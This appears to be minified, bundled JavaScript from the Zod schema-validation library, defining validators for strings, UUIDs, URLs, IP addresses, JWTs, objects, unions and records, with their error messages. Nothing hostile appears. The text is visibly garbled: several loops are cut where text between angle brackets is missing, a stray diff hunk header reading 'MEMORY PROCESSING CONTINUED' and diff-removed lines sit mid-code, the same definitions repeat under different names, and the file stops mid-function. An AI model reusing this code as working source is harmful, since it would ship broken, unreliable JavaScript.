Yz=ae("$ZodJWT",(t,e)=>{mt.init(t,e),t._zod.check=r=>{Jz(r.value,e.alg)||r.issues.push({code:"invalid_format",format:"jwt",input:r.value,inst:t,continue:!e.abort})}}),DT=ae("$ZodNumber",(t,e)=>{lt.init(t,e),t._zod.pattern=t._zod.bag.pattern??lz,t._zod.parse=(r,n)=>{if(e.coerce)try{r.value=Number(r.value)}catch{}let a=r.value;if(typeof a=="number"&&!Number.isNaN(a)&&Number.isFinite(a))return r;let s=typeof a=="number"?Number.isNaN(a)?"NaN":Number.isFinite(a)?void 0:"Infinity":void 0;return r.issues.push({expected:"number",code:"invalid_type",input:a,inst:t,...s?{received:s}:{}}),r}}),Qz=ae("$ZodNumber",(t,e)=>{vz.init(t,e),DT.init(t,e)}),eU=ae("$ZodBoolean",(t,e)=>{lt.init(t,e),t._zod.pattern=dz,t._zod.parse=(r,n)=>{if(e.coerce)try{r.value=!!r.value}catch{}let a=r.value;return typeof a=="boolean"||r.issues.push({expected:"boolean",code:"invalid_type",input:a,inst:t}),r}}),tU=ae("$ZodNull",(t,e)=>{lt.init(t,e),t._zod.pattern=pz,t._zod.values=new Set([null]),t._zod.parse=(r,n)=>{let a=r.value;return a===null||r.issues.push({expected:"null",code:"invalid_type",input:a,inst:t}),r}}),rU=ae("$ZodUnknown",(t,e)=>{lt.init(t,e),t._zod.parse=r=>r}),aU=ae("$ZodNever",(t,e)=>{lt.init(t,e),t._zod.parse=(r,n)=>(r.issues.push({expected:"never",code:"invalid_type",input:r.value,inst:t}),r)});function v1(t,e,r){t.issues.length&&e.issues.push(...La(r,t.issues)),e.value[r]=t.value}var nU=ae("$ZodArray",(t,e)=>{lt.init(t,e),t._zod.parse=(r,n)=>{let a=r.value;if(!Array.isArray(a))return r.issues.push({expected:"array",code:"invalid_type",input:a,inst:t}),r;r.value=Array(a.length);let s=[];for(let i=0;iv1(u,r,i))):v1(c,r,i)}return s.length?Promise.all(s).then(()=>r):r}});function zu(t,e,r){t.issues.length&&e.issues.push(...La(r,t.issues)),e.value[r]=t.value}function g1(t,e,r,n){t.issues.length?n[r]===void 0?r in n?e.value[r]=void 0:e.value[r]=t.value:e.issues.push(...La(r,t.issues)):t.value===void 0?r in n&&(e.value[r]=void 0):e.value[r]=t.value}var sU=ae("$ZodObject",(t,e)=>{lt.init(t,e);let r=dl(()=>{let d=Object.keys(e.shape);for(let m of d)if(!(e.shape[m]instanceof lt))throw new Error(`Invalid element at key "${m}": expected a Zod schema`);let f=wT(e.shape);return{shape:e.shape,keys:d,keySet:new Set(d),numKeys:d.length,optionalKeys:new Set(f)}});ut(t._zod,"propValues",()=>{let d=e.shape,f={};for(let m in d){let g=d[m]._zod;if(g.values){f[m]??(f[m]=new Set);for(let b of g.values)f[m].add(b)}}return f});let n=d=>{let f=new mm(["shape","payload","ctx"]),m=r.value,g=y=>{let v=qs(y);return`shape[${v}]._zod.run({ value: input[${v}], issues: [] }, ctx)`};f.write("const input = payload.value;");let b=Object.create(null),p=0;for(let y of m.keys)b[y]=`key_${p++}`;f.write("const newResult = {}");for(let y of m.keys)if(m.optionalKeys.has(y)){let v=b[y];f.write(`const ${v} = ${g(y)};`);let _=qs(y);f.write(` +`))}},Kz={major:4,minor:0,patch:0},dt=ae("$ZodType",(t,e)=>{var r;t??(t={}),t._zod.def=e,t._zod.bag=t._zod.bag||{},t._zod.version=Kz;let n=[...t._zod.def.checks??[]];t._zod.traits.has("$ZodCheck")&&n.unshift(t);for(let a of n)for(let s of a._zod.onattach)s(t);if(n.length===0)(r=t._zod).deferred??(r.deferred=[]),t._zod.deferred?.push(()=>{t._zod.run=t._zod.parse});else{let a=(s,i,o)=>{let c=zs(s),u;for(let l of i){if(l._zod.when){if(!l._zod.when(s))continue}else if(c)continue;let d=s.issues.length,f=l._zod.check(s);if(f instanceof Promise&&o?.async===!1)throw new Dn;if(u||f instanceof Promise)u=(u??Promise.resolve()).then(async()=>{await f,s.issues.length!==d&&(c||(c=zs(s,d)))});else{if(s.issues.length===d)continue;c||(c=zs(s,d))}}return u?u.then(()=>s):s};t._zod.run=(s,i)=>{let o=t._zod.parse(s,i);if(o instanceof Promise){if(i.async===!1)throw new Dn;return o.then(c=>a(c,n,i))}return a(o,n,i)}}t["~standard"]={validate:a=>{try{let s=oz(t,a);return s.success?{value:s.data}:{issues:s.error?.issues}}catch{return cz(t,a).then(i=>i.success?{value:i.data}:{issues:i.error?.issues})}},vendor:"zod",version:1}}),Im=ae("$ZodString",(t,e)=>{dt.init(t,e),t._zod.pattern=[...t?._zod.bag?.patterns??[]].pop()??Oz(t._zod.bag),t._zod.parse=(r,n)=>{if(e.coerce)try{r.value=String(r.value)}catch{}return typeof r.value=="string"||r.issues.push({expected:"string",code:"invalid_type",input:r.value,inst:t}),r}}),ht=ae("$ZodStringFormat",(t,e)=>{gl.init(t,e),Im.init(t,e)}),Xz=ae("$ZodGUID",(t,e)=>{e.pattern??(e.pattern=vz),ht.init(t,e)}),Jz=ae("$ZodUUID",(t,e)=>{if(e.version){let n={v1:1,v2:2,v3:3,v4:4,v5:5,v6:6,v7:7,v8:8}[e.version];if(n===void 0)throw new Error(`Invalid UUID version: "${e.version}"`);e.pattern??(e.pattern=T1(n))}else e.pattern??(e.pattern=T1());ht.init(t,e)}),Yz=ae("$ZodEmail",(t,e)=>{e.pattern??(e.pattern=gz),ht.init(t,e)}),Qz=ae("$ZodURL",(t,e)=>{ht.init(t,e),t._zod.check=r=>{try{let n=r.value,a=new URL(n),s=a.href;e.hostname&&(e.hostname.lastIndex=0,e.hostname.test(a.hostname)||r.issues.push({code:"invalid_format",format:"url",note:"Invalid hostname",pattern:Tz.source,input:r.value,inst:t,continue:!e.abort})),e.protocol&&(e.protocol.lastIndex=0,e.protocol.test(a.protocol.endsWith(":")?a.protocol.slice(0,-1):a.protocol)||r.issues.push({code:"invalid_format",format:"url",note:"Invalid protocol",pattern:e.protocol.source,input:r.value,inst:t,continue:!e.abort})),!n.endsWith("/")&&s.endsWith("/")?r.value=s.slice(0,-1):r.value=s;return}catch{r.issues.push({code:"invalid_format",format:"url",input:r.value,inst:t,continue:!e.abort})}}}),eU=ae("$ZodEmoji",(t,e)=>{e.pattern??(e.pattern=_z()),ht.init(t,e)}),tU=ae("$ZodNanoID",(t,e)=>{e.pattern??(e.pattern=mz),ht.init(t,e)}),rU=ae("$ZodCUID",(t,e)=>{e.pattern??(e.pattern=uz),ht.init(t,e)}),aU=ae("$ZodCUID2",(t,e)=>{e.pattern??(e.pattern=lz),ht.init(t,e)}),nU=ae("$ZodULID",(t,e)=>{e.pattern??(e.pattern=dz),ht.init(t,e)}),sU=ae("$ZodXID",(t,e)=>{e.pattern??(e.pattern=pz),ht.init(t,e)}),iU=ae("$ZodKSUID",(t,e)=>{e.pattern??(e.pattern=fz),ht.init(t,e)}),oU=ae("$ZodISODateTime",(t,e)=>{e.pattern??(e.pattern=Pz(e)),ht.init(t,e)}),cU=ae("$ZodISODate",(t,e)=>{e.pattern??(e.pattern=$z),ht.init(t,e)}),uU=ae("$ZodISOTime",(t,e)=>{e.pattern??(e.pattern=Rz(e)),ht.init(t,e)}),lU=ae("$ZodISODuration",(t,e)=>{e.pattern??(e.pattern=hz),ht.init(t,e)}),dU=ae("$ZodIPv4",(t,e)=>{e.pattern??(e.pattern=bz),ht.init(t,e),t._zod.onattach.push(r=>{let n=r._zod.bag;n.format="ipv4"})}),pU=ae("$ZodIPv6",(t,e)=>{e.pattern??(e.pattern=xz),ht.init(t,e),t._zod.onattach.push(r=>{let n=r._zod.bag;n.format="ipv6"}),t._zod.check=r=>{try{new URL(`http://[${r.value}]`)}catch{r.issues.push({code:"invalid_format",format:"ipv6",input:r.value,inst:t,continue:!e.abort})}}}),fU=ae("$ZodCIDRv4",(t,e)=>{e.pattern??(e.pattern=wz),ht.init(t,e)}),mU=ae("$ZodCIDRv6",(t,e)=>{e.pattern??(e.pattern=Sz),ht.init(t,e),t._zod.check=r=>{let[n,a]=r.value.split("/");try{if(!a)throw new Error;let s=Number(a);if(`${s}`!==a)throw new Error;if(s<0||s>128)throw new Error;new URL(`http://[${n}]`)}catch{r.issues.push({code:"invalid_format",format:"cidrv6",input:r.value,inst:t,continue:!e.abort})}}});function ZT(t){if(t==="")return!0;if(t.length%4!==0)return!1;try{return atob(t),!0}catch{return!1}}var hU=ae("$ZodBase64",(t,e)=>{e.pattern??(e.pattern=Ez),ht.init(t,e),t._zod.onattach.push(r=>{r._zod.bag.contentEncoding="base64"}),t._zod.check=r=>{ZT(r.value)||r.issues.push({code:"invalid_format",format:"base64",input:r.value,inst:t,continue:!e.abort})}});function vU(t){if(!FT.test(t))return!1;let e=t.replace(/[-_]/g,n=>n==="-"?"+":"/"),r=e.padEnd(Math.ceil(e.length/4)*4,"=");return ZT(r)}var gU=ae("$ZodBase64URL",(t,e)=>{e.pattern??(e.pattern=FT),ht.init(t,e),t._zod.onattach.push(r=>{r._zod.bag.contentEncoding="base64url"}),t._zod.check=r=>{vU(r.value)||r.issues.push({code:"invalid_format",format:"base64url",input:r.value,inst:t,continue:!e.abort})}}),yU=ae("$ZodE164",(t,e)=>{e.pattern??(e.pattern=kz),ht.init(t,e)});function _U(t,e=null){try{let r=t.split(".");if(r.length!==3)return!1;let[n]=r;if(!n)return!1;let a=JSON.parse(atob(n));return!("typ"in a&&a?.typ!=="JWT"||!a.alg||e&&(!("alg"in a)||a.alg!==e))}catch{return!1}}var bU=ae("$ZodJWT",(t,e)=>{ht.init(t,e),t._zod.check=r=>{_U(r.value,e.alg)||r.issues.push({code:"invalid_format",format:"jwt",input:r.value,inst:t,continue:!e.abort})}}),GT=ae("$ZodNumber",(t,e)=>{dt.init(t,e),t._zod.pattern=t._zod.bag.pattern??Iz,t._zod.parse=(r,n)=>{if(e.coerce)try{r.value=Number(r.value)}catch{}let a=r.value;if(typeof a=="number"&&!Number.isNaN(a)&&Number.isFinite(a))return r;let s=typeof a=="number"?Number.isNaN(a)?"NaN":Number.isFinite(a)?void 0:"Infinity":void 0;return r.issues.push({expected:"number",code:"invalid_type",input:a,inst:t,...s?{received:s}:{}}),r}}),xU=ae("$ZodNumber",(t,e)=>{qz.init(t,e),GT.init(t,e)}),wU=ae("$ZodBoolean",(t,e)=>{dt.init(t,e),t._zod.pattern=Az,t._zod.parse=(r,n)=>{if(e.coerce)try{r.value=!!r.value}catch{}let a=r.value;return typeof a=="boolean"||r.issues.push({expected:"boolean",code:"invalid_type",input:a,inst:t}),r}}),SU=ae("$ZodNull",(t,e)=>{dt.init(t,e),t._zod.pattern=Nz,t._zod.values=new Set([null]),t._zod.parse=(r,n)=>{let a=r.value;return a===null||r.issues.push({expected:"null",code:"invalid_type",input:a,inst:t}),r}}),EU=ae("$ZodUnknown",(t,e)=>{dt.init(t,e),t._zod.parse=r=>r}),TU=ae("$ZodNever",(t,e)=>{dt.init(t,e),t._zod.parse=(r,n)=>(r.issues.push({expected:"never",code:"invalid_type",input:r.value,inst:t}),r)});function k1(t,e,r){t.issues.length&&e.issues.push(...Ua(r,t.issues)),e.value[r]=t.value}var kU=ae("$ZodArray",(t,e)=>{dt.init(t,e),t._zod.parse=(r,n)=>{let a=r.value;if(!Array.isArray(a))return r.issues.push({expected:"array",code:"invalid_type",input:a,inst:t}),r;r.value=Array(a.length);let s=[];for(let i=0;ik1(u,r,i))):k1(c,r,i)}return s.length?Promise.all(s).then(()=>r):r}});function Hu(t,e,r){t.issues.length&&e.issues.push(...Ua(r,t.issues)),e.value[r]=t.value}function $1(t,e,r,n){t.issues.length?n[r]===void 0?r in n?e.value[r]=void 0:e.value[r]=t.value:e.issues.push(...Ua(r,t.issues)):t.value===void 0?r in n&&(e.value[r]=void 0):e.value[r]=t.value}var $U=ae("$ZodObject",(t,e)=>{dt.init(t,e);let r=fl(()=>{let d=Object.keys(e.shape);for(let m of d)if(!(e.shape[m]instanceof dt))throw new Error(`Invalid element at key "${m}": expected a Zod schema`);let f=IT(e.shape);return{shape:e.shape,keys:d,keySet:new Set(d),numKeys:d.length,optionalKeys:new Set(f)}});lt(t._zod,"propValues",()=>{let d=e.shape,f={};for(let m in d){let g=d[m]._zod;if(g.values){f[m]??(f[m]=new Set);for(let b of g.values)f[m].add(b)}}return f});let n=d=>{let f=new vm(["shape","payload","ctx"]),m=r.value,g=y=>{let v=Fs(y);return`shape[${v}]._zod.run({ value: input[${v}], issues: [] }, ctx)`};f.write("const input = payload.value;");let b=Object.create(null),p=0;for(let y of m.keys)b[y]=`key_${p++}`;f.write("const newResult = {}");for(let y of m.keys)if(m.optionalKeys.has(y)){let v=b[y];f.write(`const ${v} = ${g(y)};`);let _=Fs(y);f.write(` if (${v}.issues.length) { if (input[${_}] === undefined) { if (${_} in input) { @@ -1122,11 +1026,11 @@ MEMORY PROCESSING CONTINUED `)}else{let v=b[y];f.write(`const ${v} = ${g(y)};`),f.write(` if (${v}.issues.length) payload.issues = payload.issues.concat(${v}.issues.map(iss => ({ ...iss, - path: iss.path ? [${qs(y)}, ...iss.path] : [${qs(y)}] - })));`),f.write(`newResult[${qs(y)}] = ${v}.value`)}f.write("payload.value = newResult;"),f.write("return payload;");let h=f.compile();return(y,v)=>h(d,y,v)},a,s=To,i=!dm.jitless,c=i&&bT.value,u=e.catchall,l;t._zod.parse=(d,f)=>{l??(l=r.value);let m=d.value;if(!s(m))return d.issues.push({expected:"object",code:"invalid_type",input:m,inst:t}),d;let g=[];if(i&&c&&f?.async===!1&&f.jitless!==!0)a||(a=n(e.shape)),d=a(d,f);else{d.value={};let v=l.shape;for(let _ of l.keys){let S=v[_],x=S._zod.run({value:m[_],issues:[]},f),w=S._zod.optin==="optional"&&S._zod.optout==="optional";x instanceof Promise?g.push(x.then(T=>w?g1(T,d,_,m):zu(T,d,_))):w?g1(x,d,_,m):zu(x,d,_)}}if(!u)return g.length?Promise.all(g).then(()=>d):d;let b=[],p=l.keySet,h=u._zod,y=h.def.type;for(let v of Object.keys(m)){if(p.has(v))continue;if(y==="never"){b.push(v);continue}let _=h.run({value:m[v],issues:[]},f);_ instanceof Promise?g.push(_.then(S=>zu(S,d,v))):zu(_,d,v)}return b.length&&d.issues.push({code:"unrecognized_keys",keys:b,input:m,inst:t}),g.length?Promise.all(g).then(()=>d):d}});function y1(t,e,r,n){for(let a of t)if(a.issues.length===0)return e.value=a.value,e;return e.issues.push({code:"invalid_union",input:e.value,inst:r,errors:t.map(a=>a.issues.map(s=>ga(s,n,va())))}),e}var qT=ae("$ZodUnion",(t,e)=>{lt.init(t,e),ut(t._zod,"optin",()=>e.options.some(r=>r._zod.optin==="optional")?"optional":void 0),ut(t._zod,"optout",()=>e.options.some(r=>r._zod.optout==="optional")?"optional":void 0),ut(t._zod,"values",()=>{if(e.options.every(r=>r._zod.values))return new Set(e.options.flatMap(r=>Array.from(r._zod.values)))}),ut(t._zod,"pattern",()=>{if(e.options.every(r=>r._zod.pattern)){let r=e.options.map(n=>n._zod.pattern);return new RegExp(`^(${r.map(n=>fl(n.source)).join("|")})$`)}}),t._zod.parse=(r,n)=>{let a=!1,s=[];for(let i of e.options){let o=i._zod.run({value:r.value,issues:[]},n);if(o instanceof Promise)s.push(o),a=!0;else{if(o.issues.length===0)return o;s.push(o)}}return a?Promise.all(s).then(i=>y1(i,r,t,n)):y1(s,r,t,n)}}),iU=ae("$ZodDiscriminatedUnion",(t,e)=>{qT.init(t,e);let r=t._zod.parse;ut(t._zod,"propValues",()=>{let a={};for(let s of e.options){let i=s._zod.propValues;if(!i||Object.keys(i).length===0)throw new Error(`Invalid discriminated union option at index "${e.options.indexOf(s)}"`);for(let[o,c]of Object.entries(i)){a[o]||(a[o]=new Set);for(let u of c)a[o].add(u)}}return a});let n=dl(()=>{let a=e.options,s=new Map;for(let i of a){let o=i._zod.propValues[e.discriminator];if(!o||o.size===0)throw new Error(`Invalid discriminated union option at index "${e.options.indexOf(i)}"`);for(let c of o){if(s.has(c))throw new Error(`Duplicate discriminator value "${String(c)}"`);s.set(c,i)}}return s});t._zod.parse=(a,s)=>{let i=a.value;if(!To(i))return a.issues.push({code:"invalid_type",expected:"object",input:i,inst:t}),a;let o=n.value.get(i?.[e.discriminator]);return o?o._zod.run(a,s):e.unionFallback?r(a,s):(a.issues.push({code:"invalid_union",errors:[],note:"No matching discriminator",input:i,path:[e.discriminator],inst:t}),a)}}),oU=ae("$ZodIntersection",(t,e)=>{lt.init(t,e),t._zod.parse=(r,n)=>{let a=r.value,s=e.left._zod.run({value:a,issues:[]},n),i=e.right._zod.run({value:a,issues:[]},n);return s instanceof Promise||i instanceof Promise?Promise.all([s,i]).then(([c,u])=>_1(r,c,u)):_1(r,s,i)}});function hm(t,e){if(t===e)return{valid:!0,data:t};if(t instanceof Date&&e instanceof Date&&+t==+e)return{valid:!0,data:t};if(ko(t)&&ko(e)){let r=Object.keys(e),n=Object.keys(t).filter(s=>r.indexOf(s)!==-1),a={...t,...e};for(let s of n){let i=hm(t[s],e[s]);if(!i.valid)return{valid:!1,mergeErrorPath:[s,...i.mergeErrorPath]};a[s]=i.data}return{valid:!0,data:a}}if(Array.isArray(t)&&Array.isArray(e)){if(t.length!==e.length)return{valid:!1,mergeErrorPath:[]};let r=[];for(let n=0;n{lt.init(t,e),t._zod.parse=(r,n)=>{let a=r.value;if(!ko(a))return r.issues.push({expected:"record",code:"invalid_type",input:a,inst:t}),r;let s=[];if(e.keyType._zod.values){let i=e.keyType._zod.values;r.value={};for(let c of i)if(typeof c=="string"||typeof c=="number"||typeof c=="symbol"){let u=e.valueType._zod.run({value:a[c],issues:[]},n);u instanceof Promise?s.push(u.then(l=>{l.issues.length&&r.issues.push(...La(c,l.issues)),r.value[c]=l.value})):(u.issues.length&&r.issues.push(...La(c,u.issues)),r.value[c]=u.value)}let o;for(let c in a)i.has(c)||(o=o??[],o.push(c));o&&o.length>0&&r.issues.push({code:"unrecognized_keys",input:a,inst:t,keys:o})}else{r.value={};for(let i of Reflect.ownKeys(a)){if(i==="__proto__")continue;let o=e.keyType._zod.run({value:i,issues:[]},n);if(o instanceof Promise)throw new Error("Async schemas not supported in object keys currently");if(o.issues.length){r.issues.push({origin:"record",code:"invalid_key",issues:o.issues.map(u=>ga(u,n,va())),input:i,path:[i],inst:t}),r.value[o.value]=o.value;continue}let c=e.valueType._zod.run({value:a[i],issues:[]},n);c instanceof Promise?s.push(c.then(u=>{u.issues.length&&r.issues.push(...La(i,u.issues)),r.value[o.value]=u.value})):(c.issues.length&&r.issues.push(...La(i,c.issues)),r.value[o.value]=c.value)}}return s.length?Promise.all(s).then(()=>r):r}}),uU=ae("$ZodEnum",(t,e)=>{lt.init(t,e);let r=gT(e.entries);t._zod.values=new Set(r),t._zod.pattern=new RegExp(`^(${r.filter(n=>xT.has(typeof n)).map(n=>typeof n=="string"?ni(n):n.toString()).join("|")})$`),t._zod.parse=(n,a)=>{let s=n.value;return t._zod.values.has(s)||n.issues.push({code:"invalid_value",values:r,input:s,inst:t}),n}}),lU=ae("$ZodLiteral",(t,e)=>{lt.init(t,e),t._zod.values=new Set(e.values),t._zod.pattern=new RegExp(`^(${e.values.map(r=>typeof r=="string"?ni(r):r?r.toString():String(r)).join("|")})$`),t._zod.parse=(r,n)=>{let a=r.value;return t._zod.values.has(a)||r.issues.push({code:"invalid_value",values:e.values,input:a,inst:t}),r}}),dU=ae("$ZodTransform",(t,e)=>{lt.init(t,e),t._zod.parse=(r,n)=>{let a=e.transform(r.value,r);if(n.async)return(a instanceof Promise?a:Promise.resolve(a)).then(i=>(r.value=i,r));if(a instanceof Promise)throw new An;return r.value=a,r}}),pU=ae("$ZodOptional",(t,e)=>{lt.init(t,e),t._zod.optin="optional",t._zod.optout="optional",ut(t._zod,"values",()=>e.innerType._zod.values?new Set([...e.innerType._zod.values,void 0]):void 0),ut(t._zod,"pattern",()=>{let r=e.innerType._zod.pattern;return r?new RegExp(`^(${fl(r.source)})?$`):void 0}),t._zod.parse=(r,n)=>e.innerType._zod.optin==="optional"?e.innerType._zod.run(r,n):r.value===void 0?r:e.innerType._zod.run(r,n)}),fU=ae("$ZodNullable",(t,e)=>{lt.init(t,e),ut(t._zod,"optin",()=>e.innerType._zod.optin),ut(t._zod,"optout",()=>e.innerType._zod.optout),ut(t._zod,"pattern",()=>{let r=e.innerType._zod.pattern;return r?new RegExp(`^(${fl(r.source)}|null)$`):void 0}),ut(t._zod,"values",()=>e.innerType._zod.values?new Set([...e.innerType._zod.values,null]):void 0),t._zod.parse=(r,n)=>r.value===null?r:e.innerType._zod.run(r,n)}),mU=ae("$ZodDefault",(t,e)=>{lt.init(t,e),t._zod.optin="optional",ut(t._zod,"values",()=>e.innerType._zod.values),t._zod.parse=(r,n)=>{if(r.value===void 0)return r.value=e.defaultValue,r;let a=e.innerType._zod.run(r,n);return a instanceof Promise?a.then(s=>b1(s,e)):b1(a,e)}});function b1(t,e){return t.value===void 0&&(t.value=e.defaultValue),t}var hU=ae("$ZodPrefault",(t,e)=>{lt.init(t,e),t._zod.optin="optional",ut(t._zod,"values",()=>e.innerType._zod.values),t._zod.parse=(r,n)=>(r.value===void 0&&(r.value=e.defaultValue),e.innerType._zod.run(r,n))}),vU=ae("$ZodNonOptional",(t,e)=>{lt.init(t,e),ut(t._zod,"values",()=>{let r=e.innerType._zod.values;return r?new Set([...r].filter(n=>n!==void 0)):void 0}),t._zod.parse=(r,n)=>{let a=e.innerType._zod.run(r,n);return a instanceof Promise?a.then(s=>x1(s,t)):x1(a,t)}});function x1(t,e){return!t.issues.length&&t.value===void 0&&t.issues.push({code:"invalid_type",expected:"nonoptional",input:t.value,inst:e}),t}var gU=ae("$ZodCatch",(t,e)=>{lt.init(t,e),t._zod.optin="optional",ut(t._zod,"optout",()=>e.innerType._zod.optout),ut(t._zod,"values",()=>e.innerType._zod.values),t._zod.parse=(r,n)=>{let a=e.innerType._zod.run(r,n);return a instanceof Promise?a.then(s=>(r.value=s.value,s.issues.length&&(r.value=e.catchValue({...r,error:{issues:s.issues.map(i=>ga(i,n,va()))},input:r.value}),r.issues=[]),r)):(r.value=a.value,a.issues.length&&(r.value=e.catchValue({...r,error:{issues:a.issues.map(s=>ga(s,n,va()))},input:r.value}),r.issues=[]),r)}}),yU=ae("$ZodPipe",(t,e)=>{lt.init(t,e),ut(t._zod,"values",()=>e.in._zod.values),ut(t._zod,"optin",()=>e.in._zod.optin),ut(t._zod,"optout",()=>e.out._zod.optout),t._zod.parse=(r,n)=>{let a=e.in._zod.run(r,n);return a instanceof Promise?a.then(s=>w1(s,e,n)):w1(a,e,n)}});function w1(t,e,r){return Ls(t)?t:e.out._zod.run({value:t.value,issues:t.issues},r)}var _U=ae("$ZodReadonly",(t,e)=>{lt.init(t,e),ut(t._zod,"propValues",()=>e.innerType._zod.propValues),ut(t._zod,"values",()=>e.innerType._zod.values),ut(t._zod,"optin",()=>e.innerType._zod.optin),ut(t._zod,"optout",()=>e.innerType._zod.optout),t._zod.parse=(r,n)=>{let a=e.innerType._zod.run(r,n);return a instanceof Promise?a.then(S1):S1(a)}});function S1(t){return t.value=Object.freeze(t.value),t}var bU=ae("$ZodCustom",(t,e)=>{ar.init(t,e),lt.init(t,e),t._zod.parse=(r,n)=>r,t._zod.check=r=>{let n=r.value,a=e.fn(n);if(a instanceof Promise)return a.then(s=>E1(s,r,n,t));E1(a,r,n,t)}});function E1(t,e,r,n){if(!t){let a={code:"custom",input:r,inst:n,path:[...n._zod.def.path??[]],continue:!n._zod.def.abort};n._zod.def.params&&(a.params=n._zod.def.params),e.issues.push(ET(a))}}var xU=t=>{let e=typeof t;switch(e){case"number":return Number.isNaN(t)?"NaN":"number";case"object":{if(Array.isArray(t))return"array";if(t===null)return"null";if(Object.getPrototypeOf(t)!==Object.prototype&&t.constructor)return t.constructor.name}}return e},wU=()=>{let t={string:{unit:"characters",verb:"to have"},file:{unit:"bytes",verb:"to have"},array:{unit:"items",verb:"to have"},set:{unit:"items",verb:"to have"}};function e(n){return t[n]??null}let r={regex:"input",email:"email address",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO datetime",date:"ISO date",time:"ISO time",duration:"ISO duration",ipv4:"IPv4 address",ipv6:"IPv6 address",cidrv4:"IPv4 range",cidrv6:"IPv6 range",base64:"base64-encoded string",base64url:"base64url-encoded string",json_string:"JSON string",e164:"E.164 number",jwt:"JWT",template_literal:"input"};return n=>{switch(n.code){case"invalid_type":return`Invalid input: expected ${n.expected}, received ${xU(n.input)}`;case"invalid_value":return n.values.length===1?`Invalid input: expected ${Pm(n.values[0])}`:`Invalid option: expected one of ${pm(n.values,"|")}`;case"too_big":{let a=n.inclusive?"<=":"<",s=e(n.origin);return s?`Too big: expected ${n.origin??"value"} to have ${a}${n.maximum.toString()} ${s.unit??"elements"}`:`Too big: expected ${n.origin??"value"} to be ${a}${n.maximum.toString()}`}case"too_small":{let a=n.inclusive?">=":">",s=e(n.origin);return s?`Too small: expected ${n.origin} to have ${a}${n.minimum.toString()} ${s.unit}`:`Too small: expected ${n.origin} to be ${a}${n.minimum.toString()}`}case"invalid_format":{let a=n;return a.format==="starts_with"?`Invalid string: must start with "${a.prefix}"`:a.format==="ends_with"?`Invalid string: must end with "${a.suffix}"`:a.format==="includes"?`Invalid string: must include "${a.includes}"`:a.format==="regex"?`Invalid string: must match pattern ${a.pattern}`:`Invalid ${r[a.format]??n.format}`}case"not_multiple_of":return`Invalid number: must be a multiple of ${n.divisor}`;case"unrecognized_keys":return`Unrecognized key${n.keys.length>1?"s":""}: ${pm(n.keys,", ")}`;case"invalid_key":return`Invalid key in ${n.origin}`;case"invalid_union":return"Invalid input";case"invalid_element":return`Invalid value in ${n.origin}`;default:return"Invalid input"}}};function SU(){return{localeError:wU()}}var WX=Symbol("ZodOutput"),ZX=Symbol("ZodInput"),vm=class{constructor(){this._map=new WeakMap,this._idmap=new Map}add(e,...r){let n=r[0];if(this._map.set(e,n),n&&typeof n=="object"&&"id"in n){if(this._idmap.has(n.id))throw new Error(`ID ${n.id} already exists in the registry`);this._idmap.set(n.id,e)}return this}remove(e){return this._map.delete(e),this}get(e){let r=e._zod.parent;if(r){let n={...this.get(r)??{}};return delete n.id,{...n,...this._map.get(e)}}return this._map.get(e)}has(e){return this._map.has(e)}};function EU(){return new vm}var Uu=EU();function TU(t,e){return new t({type:"string",...Re(e)})}function kU(t,e){return new t({type:"string",format:"email",check:"string_format",abort:!1,...Re(e)})}function T1(t,e){return new t({type:"string",format:"guid",check:"string_format",abort:!1,...Re(e)})}function RU(t,e){return new t({type:"string",format:"uuid",check:"string_format",abort:!1,...Re(e)})}function $U(t,e){return new t({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v4",...Re(e)})}function PU(t,e){return new t({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v6",...Re(e)})}function OU(t,e){return new t({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v7",...Re(e)})}function CU(t,e){return new t({type:"string",format:"url",check:"string_format",abort:!1,...Re(e)})}function IU(t,e){return new t({type:"string",format:"emoji",check:"string_format",abort:!1,...Re(e)})}function AU(t,e){return new t({type:"string",format:"nanoid",check:"string_format",abort:!1,...Re(e)})}function NU(t,e){return new t({type:"string",format:"cuid",check:"string_format",abort:!1,...Re(e)})}function jU(t,e){return new t({type:"string",format:"cuid2",check:"string_format",abort:!1,...Re(e)})}function MU(t,e){return new t({type:"string",format:"ulid",check:"string_format",abort:!1,...Re(e)})}function DU(t,e){return new t({type:"string",format:"xid",check:"string_format",abort:!1,...Re(e)})}function qU(t,e){return new t({type:"string",format:"ksuid",check:"string_format",abort:!1,...Re(e)})}function LU(t,e){return new t({type:"string",format:"ipv4",check:"string_format",abort:!1,...Re(e)})}function FU(t,e){return new t({type:"string",format:"ipv6",check:"string_format",abort:!1,...Re(e)})}function zU(t,e){return new t({type:"string",format:"cidrv4",check:"string_format",abort:!1,...Re(e)})}function UU(t,e){return new t({type:"string",format:"cidrv6",check:"string_format",abort:!1,...Re(e)})}function HU(t,e){return new t({type:"string",format:"base64",check:"string_format",abort:!1,...Re(e)})}function BU(t,e){return new t({type:"string",format:"base64url",check:"string_format",abort:!1,...Re(e)})}function VU(t,e){return new t({type:"string",format:"e164",check:"string_format",abort:!1,...Re(e)})}function WU(t,e){return new t({type:"string",format:"jwt",check:"string_format",abort:!1,...Re(e)})}function ZU(t,e){return new t({type:"string",format:"datetime",check:"string_format",offset:!1,local:!1,precision:null,...Re(e)})}function GU(t,e){return new t({type:"string",format:"date",check:"string_format",...Re(e)})}function KU(t,e){return new t({type:"string",format:"time",check:"string_format",precision:null,...Re(e)})}function XU(t,e){return new t({type:"string",format:"duration",check:"string_format",...Re(e)})}function JU(t,e){return new t({type:"number",checks:[],...Re(e)})}function YU(t,e){return new t({type:"number",check:"number_format",abort:!1,format:"safeint",...Re(e)})}function QU(t,e){return new t({type:"boolean",...Re(e)})}function e3(t,e){return new t({type:"null",...Re(e)})}function t3(t){return new t({type:"unknown"})}function r3(t,e){return new t({type:"never",...Re(e)})}function k1(t,e){return new NT({check:"less_than",...Re(e),value:t,inclusive:!1})}function Xf(t,e){return new NT({check:"less_than",...Re(e),value:t,inclusive:!0})}function R1(t,e){return new jT({check:"greater_than",...Re(e),value:t,inclusive:!1})}function Jf(t,e){return new jT({check:"greater_than",...Re(e),value:t,inclusive:!0})}function $1(t,e){return new hz({check:"multiple_of",...Re(e),value:t})}function LT(t,e){return new gz({check:"max_length",...Re(e),maximum:t})}function Yu(t,e){return new 